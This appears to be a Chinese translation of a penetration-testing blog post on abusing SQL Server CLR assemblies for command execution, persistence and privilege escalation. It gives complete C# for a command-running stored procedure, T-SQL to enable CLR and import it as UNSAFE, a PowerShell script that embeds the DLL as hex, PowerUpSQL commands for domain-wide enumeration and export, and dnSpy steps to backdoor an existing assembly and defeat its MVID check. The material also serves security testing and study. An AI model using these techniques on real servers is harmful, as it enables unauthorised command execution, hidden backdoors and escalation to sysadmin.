译者:兄弟要碟吗
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
在这个博客中,我会扩展Nathan Kirk博客CLR系列的CLR组件攻击。 我将介绍如何创建,导入,导出和修改SQL Server中的CLR程序集,以达到提升权限,执行系统命令和持久性等目的。我还将分享一些使用PowerUpSQL在Active Directory环境中更大规模执行(批量)CLR攻击的技巧。
什么是SQL Server中的自定义CLR程序集?
为了这个博客可以更好的说明,我们将定义一个公共语言运行库(CLR)组件作为一个.NET的DLL(或一组DLL)可以导入到SQL服务器。一旦导入,DLL方法就可以链接到存储过程,并通过TSQL执行。创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server本地功能的一个很好的方式,但自然也为攻击者创造了机会。
如何为SQL Server定制一个自定义的CLR DLL?
下面是根据Nathan Kirk的操作和一些文章实现的利用微软C#执行系统命令的示例。你可以根据需要对代码作出修改,当你修改完毕后将文件保存至“c:tempcmd_exec.cs”。
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
现在我们使用csc.exe将“c:tempcmd_exec.cs”编译成dll。在默认情况下即使你没有安装Visual Studio,csc.exe编译器是附带.NET框架的,我们使用下面的PowerShell命令来找到它。
Get-ChildItem -Recurse "C:WindowsMicrosoft.NET" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname
如果你找到了csc.exe,你可以使用下面的命令将“c:tempcmd_exec.cs”编译成dll文件。
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs
如何导入我的CLR DLL到SQL Server?
要将dll导入SqlServer,需要SQL登录的权限为sysadmin,有CREATE ASSEMBLY权限或ALTER ASSEMBLY权限。然后按照以下步骤注册dll并且将其链接到存储过程,以便使用TSQL执行cmd_exec方法。
以sysadmin身份登录到SqlServer,并用下面TSQL查询:
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:tempcmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
现在,你应该可以通过“msdb”数据库中的“cmd_exec”存储过程执行系统命令了,如下面的示例所示。
完成后你可以使用下面的sql语句删掉该过程和程序集
如何将我的CLR DLL转换成一个十六进制字符串并在没有文件的情况下导入它?
CLR程序集导入SQLServer时不必一定要引用一个dll文件,“CREATE ASSEMBLY”也接受一个十六进制的字符串表示CLR DLL文件。下面是一个PowerShell脚本示例,演示了如何将你的“cmd_exec.dll”文件转换到sql命令中,它可以用来创建没有物理文件引用的程序集。
# Target file
$assemblyFile = "c:tempcmd_exec.dll"
# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null
# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:tempcmd_exec.txt
如果一切顺利“c:tempcmd_exec.txt”文件应该包含以下SQL语句。在该示例中,十六进制字符串已被截断,但是你的长度应该更长。
-- Select the MSDB database
USE msdb
-- Enable clr on the server
Sp_Configure 'clr enabled', 1
RECONFIGURE
GO
-- Create assembly from ascii hex
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
-- Create procedures from the assembly method cmd_exec
CREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec];
GO
-- Run an OS command as the SQL Server service account
EXEC[dbo].[cmd_exec] 'whoami'
GO
当你用sysadmin权限在SqlServer中运行“c:tempcmd_exec.txt”的sql语句时,输出应该如下所示:
PowerUpSQL自动化
你可以在使用PowerUpSQL之前,访问此链接了解PowerUpSQL
我做了一个PowerUpSQL函数来调用“Create-SQLFileCLRDll”创建类似的DLL和TSQL脚本。 它还支持设置自定义的程序集名称,类名称,方法名称和存储过程名称。 如果没有指定设置,那么它们都是随机的。 以下是一个基本的命令示例:
PS C:temp> Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:temp
C# File: c:tempruncmd.csc
CLR DLL: c:tempruncmd.dll
SQL Cmd: c:tempruncmd.txt
以下是生成10个CLR DLL / CREATE ASSEMBLY SQL脚本的示例,在实验室中使用CLR组件时,可以派上用场。
1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:temp -OutFile myfile$_ }
如何列出现有的CLR程序集和CLR存储过程?
你可以使用下面的TSQL语句来查询验证你的CLR程序集是否正确设置,或者寻找现有的用户自定义的CLR程序集。
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]
使用这个查询我们可以看到文件名、程序集名、程序集类名、程序集方法和方法映射到的存储过程。
如果你运行了我之前提供的“Create-SQLFileCLRDll”命令生成的10个TSQL查询,那么你应该在你的查询结果中看到“my_assembly”,你还将看到这些程序集相关的程序集信息。
PowerUpSQL自动化
我在PowerUpSQL中添加了一个名为“Get-SQLStoredProcedureCLR”的功能,它将迭代可访问的数据库,并提供每个数据库的程序集信息。 以下是一个命令示例:
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView
你还可以使用以下命令对所有域内的SQL Server执行此操作(前提是你拥有正确的权限)。
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize
映射程序参数
攻击者不是唯一创建不安全程序集的人员。有时候开发人员会创建执行OS命令或者与操作系统进行资源交互的程序集。因此,定位和逆向这些程序集也是很有必要的,有时这些程序集会有权限提升的bug。例如,如果我们的程序集已经存在,我们可以尝试去确定一下它接受的参数和怎么使用它们。只是为了好玩,让我们使用下面的TSQL查询“cmd_exec”存储过程接受了哪些参数
SELECT pr.name as procname,
pa.name as param_name,
TYPE_NAME(system_type_id) as Type,
pa.max_length,
pa.has_default_value,
pa.is_nullable
FROM sys.all_parameters paINNER JOIN sys.procedures pr on pa.object_id = pr.object_idWHERE pr.type like 'pc' and pr.name like 'cmd_exec'
在这个例子中,我们可以看到它只接受一个名为“execCommand”的字符串参数。 针对存储过程的攻击者可能能够确定它可以用于执行OS命令。
如何将SQL Server中存在的CLR程序集导出到DLL?
在SqlServer中,我们还可以将用户定义的CLR程序集导出到dll。我们来谈谈从识别CLR程序集到获取CLR的源代码。首先,我们必须识别程序集,然后将它们导出到dll,并且对它们进行反编译以便进行源码分析(或修改为注入后门程序)。
PowerUpSQL自动化
在上面我们讨论了如何使用下面的PowerUpSQL命令列出CLR程序集。
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize
它存在一个“ExportFolder”选项,我们可以设置它,这个功能将会把程序集dll导出到文件夹,以下是一个命令示例:
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -ExportFolder c:temp -Username sa -Password 'sapassword!' | Format-Table -AutoSize
如果你是域用户,并且权限是sysadmin,还可以使用下面的命令导出CLR DLL
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:temp | Format-Table -AutoSize
Dll可以在输出的文件夹中找到。脚本将基于每个服务器的名称、实例和数据库的名称动态构建文件夹结构。
然后你可以使用你喜欢的反编译器查看源代码。在过去一年中,我已经成为dnSpy的粉丝。阅读后面的内容你将知道这是因为什么。
如何修改CLR DLL并覆盖已经导入SQL Server的程序集?
以下简要介绍如何使用dnSpy反编译、查看、编辑、保存、和重新导入现有的SQL Server CLR DLL,你可以在这里下载dnSpy。
本次练习我们将修改从SQL Server导出的cmd_exec.dll
1.在dnSpy中打开cmd_exec.dll文件。在左侧面板中,向下选择,直到找到“cmd_exec”方法并选择它,你可以立马看到它的源码并寻找bug。
2.接下来,右键单击包含源代码的右侧面板,然后选择“Edit Method (C#) …”
3.编辑你想编辑的代码,在这个例子中,我添加了一个简单的“后门”,每次调用“cmd_exec”方法时,都会向“C:temp”目录中添加文件。示例代码和屏幕截图如下。
public static void cmd_exec(SqlString execCommand){
Process expr_05 = new Process();
expr_05.StartInfo.FileName = "C:\Windows\System32\cmd.exe";
expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
expr_05.StartInfo.UseShellExecute = true;
expr_05.Start();
expr_05.WaitForExit();
expr_05.Close();
Process expr_54 = new Process();
expr_54.StartInfo.FileName = "C:\Windows\System32\cmd.exe";
expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:\temp\clr_backdoor.txt", execCommand.Value);
expr_54.StartInfo.UseShellExecute = true;
expr_54.Start();
expr_54.WaitForExit();
expr_54.Close();
}
4.通过单击编译按钮保存修补的代码。然后从顶部菜单选择File、Save Module….然后点击确定
根据这篇Microsoft的文章,在每次编译CLR时,都会生成一个唯一的GUID并将其嵌入到文件头中,以便用来区分同一文件的两个版本。这被称为MVID(模块版本ID)。要覆盖已经导入到SQLServer的现有CLR,我们必须手动修改MVID。以下是一个概述。
1.在dnSpy中打开“cmd_exec”,如果它还没有被打开,向下选择PE部分并选择“#GUID”存储流。然后右键单击它,然后选择“Show Data in Hex Editor”。
2.接下来,我们需要用任意值修改所选字节之一
3.从顶部菜单中选择文件,然后选择“Save Module…”
PowerShell自动化
你可以使用我之前提供的原始PowerShell命令,也可以使用下面的PowerUPSQL命令从新修改的“cmd_exec.dll”文件获取十六进制字节,并生成ALTER语句。
PS C:temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dll
VERBOSE: Target C# File: NA
VERBOSE: Target DLL File: .cmd_exec.dll
VERBOSE: Grabbing bytes from the dll
VERBOSE: Writing SQL to: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
C# File: NA
CLR DLL: .cmd_exec.dll
SQL Cmd: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
新的cmd_exec.txt 内容看起来应该像下面的语句
-- Choose the msdb database
use msdb
-- Alter the existing CLR assembly
ALTER ASSEMBLY [my_assembly] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
ALTER语句用于替换现有的CLR而不是DROP和CREATE。 正如微软所说的那样:“ALTER ASSEMBLY不会中断正在修改的程序集中当前会话里正在运行的代码。当前会话通过使用程序集的未更改位来完成执行。 所以,总而言之,什么都没有发生。 TSQL查询执行应该看起来像下面的截图:
要检查代码修改是否有效,请运行“cmd_exec”存储过程,并验证是否已创建“C:tempbackdoor.txt”文件。
我可以使用自定义CLR升级SQL Server中的权限吗?
答案是肯定的,但有一些苛刻的条件必须要满足。
如果你的SQL Server不是以sysadmin登录的,但具有CREATE或ALTER ASSEMBLY权限,则可以使用自定义CLR获取sysadmin权限,该自定义CLR将在SQL Server服务帐户(由sysadmin默认)。但是,要成功创建CLR程序集的数据库,必须将'is_trustworthy'标志设置为'1'并启用'clr enabled'服务器设置。默认情况下,只有msdb数据库是可靠的,并且禁用“clr enabled”设置。
我从来没有看到明确分配给SQL登录的CREATE或ALTER ASSEMBLY权限。但是,我已经看到应用程序SQL登录添加到“db_ddladmin”数据库角色,并且具有“ALTER ASSEMBLY”权限。
注意:SQL Server 2017引入了“clr strict security”配置。 Microsoft文档规定,需要禁用该设置以允许创建UNSAFE或EXTERNAL程序集。